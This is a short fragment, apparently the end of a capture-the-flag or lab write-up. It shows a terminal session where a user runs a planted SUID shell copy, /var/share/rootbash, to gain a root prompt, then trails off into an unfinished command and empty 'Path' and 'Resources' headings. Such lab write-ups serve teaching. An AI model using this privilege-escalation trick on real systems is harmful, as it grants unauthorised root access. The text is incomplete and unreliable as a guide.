spencer@ip-10-1-46-68:~$ /var/share/rootbash
rootbash-5.1$ echo 1 >

And when we execute it as you can see we're root.

Path

That's what We did in this box mermaid-flowchart-2026-10-01T23-47-46.png

Resources